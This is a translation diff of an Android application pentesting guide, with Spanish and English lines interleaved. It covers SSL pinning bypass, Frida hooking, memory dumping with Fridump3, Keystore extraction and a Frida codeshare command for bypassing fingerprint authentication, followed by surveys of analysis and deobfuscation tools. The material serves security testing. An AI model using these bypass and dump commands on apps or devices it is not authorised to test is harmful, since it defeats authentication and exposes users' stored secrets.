- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
@ -501,21 +501,21 @@ When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### Buscando vulnerabilidades web comunes
Es importante también buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificar y mitigar estas vulnerabilidades excede el alcance de este resumen, pero está ampliamente cubierta en otros recursos.
También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificarlas y mitigarlas está fuera del alcance de este resumen, pero se trata extensamente en otras partes.
### Frida
[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\
**Puedes acceder a la aplicación en ejecución y hacer hook a métodos en tiempo de ejecución para cambiar el comportamiento, modificar valores, extraer valores, ejecutar código diferente...**\
Si quieres pentestear aplicaciones Android necesitas saber cómo usar Frida.
[Frida](https://www.frida.re) es un toolkit de instrumentación dinámica para desarrolladores, ingenieros inversos y investigadores de seguridad.\
**Puedes acceder a la aplicación en ejecución y hookear métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar código diferente...**\
Si quieres pentest aplicaciones Android necesitas saber cómo usar Frida.
- Aprende a usar Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Algunas GUI para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Objection es ideal para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Puedes encontrar algunos scripts Awesome de Frida aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Intenta eludir mecanismos anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,11 +523,11 @@ Si quieres pentestear aplicaciones Android necesitas saber cómo usar Frida.
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Volcado de memoria - Fridump**
### **Volcar memoria - Fridump**
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería guardar, como contraseñas o mnemónicos.
Comprueba si la aplicación está almacenando información sensible en la memoria que no debería, como contraseñas o mnemónicos.
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -542,9 +542,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Datos sensibles en Keystore**
En Android el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con privilegios suficientes todavía es **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **datos sensibles en texto plano**, los pentests deberían comprobarlo como root user, o alguien con acceso físico al dispositivo podría robar estos datos.
En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios todavía es **posible acceder a él**. Como las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, los pentests deberían comprobarlo como root o alguien con acceso físico al dispositivo podría robar esos datos.
Incluso si una app almacenara datos en el keystore, los datos deberían estar cifrados.
Incluso si una app almacenó datos en el keystore, los datos deberían estar cifrados.
Para acceder a los datos dentro del keystore puedes usar este Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -552,19 +552,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Usando el siguiente script de Frida, podría ser posible realizar un **bypass fingerprint authentication** que las aplicaciones Android llevan a cabo para **proteger ciertas áreas sensibles:**
Usando el siguiente script de Frida podría ser posible **bypass la autenticación por huella dactilar** que las aplicaciones Android podrían estar realizando para **proteger ciertas áreas sensibles:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Imágenes de fondo**
Cuando pones una aplicación en segundo plano, Android guarda una **instantánea de la aplicación** de modo que, cuando se recupera al primer plano, comienza cargando la imagen antes que la app para que parezca que la aplicación se cargó más rápido.
Cuando pones una aplicación en segundo plano, Android almacena una **instantánea de la aplicación** para que, cuando se recupere al primer plano, empiece a cargar la imagen antes que la app y parezca que la aplicación se cargó más rápido.
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
Las instantáneas normalmente se almacenan en: **`/data/system_ce/0/snapshots`**
Las instantáneas suelen almacenarse en: **`/data/system_ce/0/snapshots`**
Android proporciona una forma de **evitar la captura de pantalla configurando el parámetro de layout FLAG_SECURE**. Al usar este flag, el contenido de la ventana se trata como seguro, evitando que aparezca en capturas de pantalla o que sea visible en pantallas no seguras.
Android proporciona una forma de **evitar la captura de pantallas estableciendo el parámetro de layout FLAG_SECURE**. Al usar este flag, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se muestre en pantallas no seguras.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -574,53 +574,53 @@ Esta herramienta puede ayudarte a gestionar diferentes herramientas durante el a
### Intent Injection
Los desarrolladores suelen crear componentes proxy como activities, services y broadcast receivers que manejan estos Intents y los pasan a métodos como `startActivity(...)` o `sendBroadcast(...)`, lo cual puede ser arriesgado.
Los desarrolladores a menudo crean componentes proxy como activities, services y broadcast receivers que manejan estos Intents y los pasan a métodos como `startActivity(...)` o `sendBroadcast(...)`, lo cual puede ser riesgoso.
El peligro radica en permitir que atacantes desencadenen componentes no exportados de la app o accedan a content providers sensibles al redirigir estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` mediante `Intent.parseUri(...)` y luego los ejecuta, lo que puede conducir a inyecciones maliciosas de Intent.
El peligro radica en permitir que atacantes activen componentes de la app no exportados o accedan a proveedores de contenido sensibles redirigiendo estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` mediante `Intent.parseUri(...)` y luego los ejecuta, lo que puede derivar en inyecciones maliciosas de Intent.
### Essential Takeaways
- **Intent Injection** es similar al problema web de Open Redirect.
- Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras.
- **Intent Injection** es similar al problema Open Redirect en la web.
- Los exploits implican pasar objetos `Intent` como extras, los cuales pueden ser redirigidos para ejecutar operaciones inseguras.
- Puede exponer componentes no exportados y content providers a atacantes.
- La conversión de URL a `Intent` de `WebView` puede facilitar acciones no deseadas.
- La conversión de URLs a `Intent` por parte de `WebView` puede facilitar acciones no deseadas.
### Android Client Side Injections and others
Probablemente conozcas este tipo de vulnerabilidades por la Web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
Probablemente conoces este tipo de vulnerabilidades por la web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android:
- **SQL Injection:** Al tratar consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
- **JavaScript Injection (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Los WebViews deberían tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: En varios casos cuando la aplicación Android finaliza la sesión la cookie no se revoca o incluso puede guardarse en disco.
- **SQL Injection:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas.
- **JavaScript Injection (XSS):** Verifica que el soporte de JavaScript y Plugin esté deshabilitado para cualquier WebView (deshabilitado por defecto). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Las WebViews deberían tener el acceso al sistema de archivos deshabilitado (activado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: En varios casos, cuando la aplicación Android termina la sesión, la cookie no se revoca o incluso puede guardarse en disco
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## Automatic Analysis
## Análisis automático
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Static analysis**
**Análisis estático**
![](<../../images/image (866).png>)
**Evaluación de vulnerabilidades de la aplicación** utilizando una agradable interfaz web. También puedes realizar análisis dinámico (pero necesitas preparar el entorno).
**Evaluación de vulnerabilidades de la aplicación** usando una interfaz web agradable. También puedes realizar análisis dinámico (pero necesitas preparar el entorno).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Nota que MobSF puede analizar **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Ten en cuenta que MobSF puede analizar **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Además, si creas un archivo **ZIP** con el código fuente de una app **Android** o **IOS** (ve a la carpeta raíz de la aplicación, selecciona todo y crea un ZIPfile), también podrá analizarlo.
MobSF también te permite hacer **diff/Compare** de análisis e integrar **VirusTotal** (necesitarás configurar tu API key en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). También puedes poner `VT_UPLOAD` a `False`, entonces el **hash** será **upload** en vez del fichero.
MobSF también permite **diff/Compare** análisis e integrar **VirusTotal** (necesitarás poner tu API key en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). También puedes poner `VT_UPLOAD` a `False`, entonces el **hash** será **upload** en lugar del fichero.
### Assisted Dynamic analysis with MobSF
**MobSF** también puede ser muy útil para el **dynamic analysis** en **Android**, pero en ese caso necesitarás instalar MobSF y **genymotion** en tu host (una VM o Docker no funcionarán). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF** también puede ser muy útil para **dynamic analysis** en **Android**, pero en ese caso necesitarás instalar MobSF y **genymotion** en tu host (una VM o Docker no funcionarán). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
El **MobSF dynamic analyser** puede:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Todo esto se hace automáticamente excepto las capturas de pantalla, debes pulsar cuando quieras una captura o tienes que pulsar "**Exported Activity Tester**" para obtener capturas de todas las actividades exportadas.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Todo esto se hace automáticamente excepto las capturas de pantalla; necesitas pulsar cuando quieras una captura o debes pulsar "**Exported Activity Tester**" para obtener capturas de todas las actividades exportadas.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
@ -628,28 +628,28 @@ From android **versions > 5**, it will **automatically start Frida** and will se
**Frida**
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
Por defecto, también usará algunos Frida Scripts para **bypass SSL pinning**, **root detection** y **debugger detection** y para **monitor interesting APIs**.\
MobSF también puede **invoke exported activities**, capturar **screenshots** de ellas y **save**las para el informe.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
Para **start** las pruebas dinámicas pulsa el botón verde: "**Start Instrumentation**". Pulsa "**Frida Live Logs**" para ver los logs generados por los Frida scripts y "**Live API Monitor**" para ver todas las invocaciones a métodos hookeados, argumentos pasados y valores devueltos (esto aparecerá después de pulsar "Start Instrumentation").\
MobSF también te permite cargar tus propios **Frida scripts** (para enviar los resultados de tus Friday scripts a MobSF usa la función `send()`). También tiene **several pre-written scripts** que puedes cargar (puedes añadir más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **select them**, pulsa "**Load**" y pulsa "**Start Instrumentation**" (podrás ver los logs de esos scripts dentro de "**Frida Live Logs**").
![](<../../images/image (419).png>)
Moreover, you have some Auxiliary Frida functionalities:
Además, tienes algunas funcionalidades auxiliares de Frida:
- **Enumerate Loaded Classes**: Imprime todas las clases cargadas
- **Capture Strings**: Imprime todas las capture strings mientras usas la aplicación (muy ruidoso)
- **Capture String Comparisons**: Puede ser muy útil. **Muestra las 2 strings que se están comparando** y si el resultado fue True o False.
- **Enumerate Class Methods**: Introduce el nombre de la clase (como "java.io.File") y mostrará todos los métodos de la clase.
- **Search Class Pattern**: Buscar clases por patrón
- **Trace Class Methods**: **Trace** a **whole class** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF traza varios métodos Android API interesantes.
- **Enumerate Loaded Classes**: imprimirá todas las clases cargadas
- **Capture Strings**: imprimirá todas las cadenas capturadas mientras usas la aplicación (muy ruidoso)
- **Capture String Comparisons**: puede ser muy útil. **Show the 2 strings being compared** y si el resultado fue True o False.
- **Enumerate Class Methods**: introduce el nombre de la clase (como "java.io.File") y mostrará todos los métodos de la clase.
- **Search Class Pattern**: buscar clases por patrón
- **Trace Class Methods**: **Trace** a **whole class** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF traza varios métodos interesantes de la Android Api.
Una vez que hayas seleccionado el módulo auxiliar que quieres usar debes pulsar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**".
Una vez que hayas seleccionado el módulo auxiliar que quieres usar necesitas pulsar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**".
**Shell**
Mobsf también te proporciona un shell con algunos comandos **adb**, **MobSF commands**, y comunes **shell** **commands** en la parte inferior de la página de dynamic analysis. Algunos comandos interesantes:
MobSF también te ofrece un shell con algunos comandos **adb**, **MobSF commands**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
```bash
help
shell ls
@ -658,12 +658,12 @@ exported_activities
services
receivers
```
**Herramientas HTTP**
**HTTP tools**
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Cuando se captura tráfico http puedes ver una vista poco agradable del tráfico capturado en el botón "**HTTP(S) Traffic**" o una vista más clara en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **send** las **captured requests** a **proxies** como Burp o Owasp ZAP.\
Para hacerlo, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pulsa "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
Una vez que termines el análisis dinámico con MobSF puedes pulsar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
> [!TIP]
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
@ -672,14 +672,14 @@ Once you finish the dynamic analysis with MobSF you can press on "**Start Web AP
> adb shell settings put global http_proxy :0
> ```
### Análisis dinámico asistido con Inspeckage
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Esta herramienta usará algunos **Hooks** para informarte **lo que está ocurriendo en la aplicación** mientras realizas un **dynamic analysis**.
Esta herramienta utilizará algunos **Hooks** para informarte **de lo que está sucediendo en la aplicación** mientras realizas un **dynamic analysis**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Esta es una **gran herramienta para realizar static analysis con GUI**
Esta es una **excelente herramienta para realizar static analysis con una GUI**
![](<../../images/image (741).png>)
@ -694,7 +694,7 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Muestra todos los archivos extraídos para referencia fácil
- Muestra todos los archivos extraídos para referencia rápida
- Decompila automáticamente archivos APK a formato Java y Smali
- Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes
- Análisis estático del código fuente en busca de vulnerabilidades y comportamientos comunes
@ -705,11 +705,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Lo hace descomprimiendo APKs y aplicando una serie de reglas para detectar dichas vulnerabilidades.
SUPER es una aplicación de línea de comandos que puede usarse en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Hace esto descomprimiendo APKs y aplicando una serie de reglas para detectar esas vulnerabilidades.
Todas las reglas están centralizadas en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesiten.
Todas las reglas están centradas en un archivo `rules.json`, y cada empresa o tester puede crear sus propias reglas para analizar lo que necesiten.
Descarga los últimos binarios desde la [download page](https://superanalyzer.rocks/download.html)
Descarga los binarios más recientes desde la [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -717,17 +717,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn es una herramienta **multiplataforma** que ayuda a desarrolladores, bugbounty hunters y hackers éticos a realizar [análisis estático de código](https://en.wikipedia.org/wiki/Static_program_analysis) en aplicaciones móviles.
StaCoAn es una herramienta **crossplatform** que ayuda a desarrolladores, bugbounty hunters y ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) en aplicaciones móviles.
El concepto es que arrastras y sueltas el archivo de tu aplicación móvil (un archivo .apk o .ipa) sobre la aplicación StaCoAn y esta generará un informe visual y portátil para ti. Puedes ajustar la configuración y las wordlists para obtener una experiencia personalizada.
El concepto es que arrastras y sueltas tu archivo de aplicación móvil (un archivo .apk o .ipa) en la aplicación StaCoAn y generará un informe visual y portátil para ti. Puedes ajustar la configuración y las wordlists para obtener una experiencia personalizada.
Descargar [última versión](https://github.com/vincentcox/StaCoAn/releases):
Descargar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework es un sistema de análisis de vulnerabilidades para Android que ayuda a desarrolladores o hackers a encontrar vulnerabilidades de seguridad potenciales en aplicaciones Android.\
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -735,11 +735,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre posibles comportamientos maliciosos desarrollados por una aplicación Android.
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos potencialmente maliciosos desarrollados por una aplicación Android.
La detección se realiza mediante el **static analysis** del Dalvik bytecode de la aplicación, representado como **Smali**, con la librería [`androguard`](https://github.com/androguard/androguard).
Esta herramienta busca **comportamientos comunes de "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Esta herramienta busca **common behavior of "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -747,36 +747,36 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Es una herramienta que agrupa herramientas comúnmente usadas de reverse engineering y analysis de aplicaciones móviles, para ayudar en las pruebas de aplicaciones móviles frente a las amenazas de seguridad móvil de OWASP. Su objetivo es hacer esta tarea más fácil y accesible para desarrolladores de aplicaciones móviles y profesionales de seguridad.
**MARA** es un framework de Ingeniería Inversa y Análisis de Aplicaciones Móviles. Es una herramienta que agrupa herramientas comúnmente usadas para ingeniería inversa y análisis de aplicaciones móviles, para ayudar a probar aplicaciones móviles frente a las amenazas de seguridad móvil de OWASP. Su objetivo es facilitar esta tarea a desarrolladores de aplicaciones móviles y profesionales de seguridad.
It is able to:
Es capaz de:
- Extraer código Java y Smali usando diferentes herramientas
- Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extraer información privada del APK usando regexps.
- Analizar el Manifest.
- Analizar dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
- Analizar los dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Desofuscar APK vía [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Útil para detectar malware: [https://koodous.com/](https://koodous.com/)
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
Ten en cuenta que, dependiendo del servicio y la configuración que utilices para obfuscate el código, los Secrets pueden o no terminar obfuscated.
Ten en cuenta que, dependiendo del servicio y la configuración que uses para ofuscar el código, los secretos pueden o no quedar ofuscados.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la GNU General Public License, versión 2.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
ProGuard se distribuye como parte del Android SDK y se ejecuta al construir la aplicación en release mode.
ProGuard se distribuye como parte del Android SDK y se ejecuta al compilar la aplicación en modo release.
### [DexGuard](https://www.guardsquare.com/dexguard)
Encuentra una guía paso a paso para deobfuscate el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(From that guide) La última vez que lo comprobamos, el modo de operación de Dexguard era:
(From that guide) Last time we checked, the Dexguard mode of operation was:
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
@ -786,33 +786,33 @@ Encuentra una guía paso a paso para deobfuscate el apk en [https://blog.lexfo.f
### [DeGuard](http://apk-deguard.com)
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
**DeGuard revierte el proceso de ofuscación realizado por herramientas de ofuscación de Android. Esto habilita numerosos análisis de seguridad, incluyendo inspección de código e identificación de bibliotecas.**
Puedes subir un APK obfuscated a su plataforma.
Puedes subir un APK ofuscado a su plataforma.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Esta es una herramienta LLM para encontrar posibles vulnerabilidades de seguridad en android apps y deobfuscate android app code. Usa la Gemini public API de Google.
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
It is a **generic android deobfuscator.** Simplify **virtually executes an app** para entender su comportamiento y luego **tries to optimize the code** para que se comporte idénticamente pero sea más fácil para un humano entender. Cada tipo de optimización es simple y generic, por lo que no importa qué tipo específico de obfuscation se use.
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD te da información sobre **how an APK was made**. Identifica muchos **compilers**, **packers**, **obfuscators**, y otras cosas raras. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
[Lee este tutorial para aprender algunos trucos sobre **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
## Laboratorios
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b es una Android security virtual machine basada en ubuntu-mate que incluye la colección de los últimos framework, tutorials y labs de diferentes security geeks y researchers para reverse engineering y malware analysis.
AndroL4b es una máquina virtual de seguridad Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes aficionados e investigadores de seguridad para ingeniería inversa y análisis de malware.
## References
## Referencias
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos
@ -825,7 +825,7 @@ AndroL4b es una Android security virtual machine basada en ubuntu-mate que inclu
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
## Aún por probar
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Esta página ofrece un flujo de trabajo práctico para recuperar el análisis dinámico contra aplicaciones Android que detectan/bloquean instrumentación por root o imponen TLS pinning. Se centra en triage rápido, detecciones comunes y hooks/tácticas copiables para eludirlas sin repackear cuando sea posible.
Esta página ofrece un flujo de trabajo práctico para recuperar el análisis dinámico contra apps Android que detectan o bloquean instrumentation por root o que aplican TLS pinning. Se centra en triage rápido, detecciones comunes y hooks/tácticas listos para copiarpegar para evadirlas sin repacking cuando sea posible.
## Superficie de detección (qué comprueban las apps)
## Superficie de detección (lo que comprueban las apps)
- Comprobaciones de root: su binario, rutas de Magisk, valores de getprop, paquetes comunes de root
- Comprobaciones Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneo de /proc, classpath, librerías cargadas
- Comprobaciones de root: su binary, Magisk paths, getprop values, common root packages
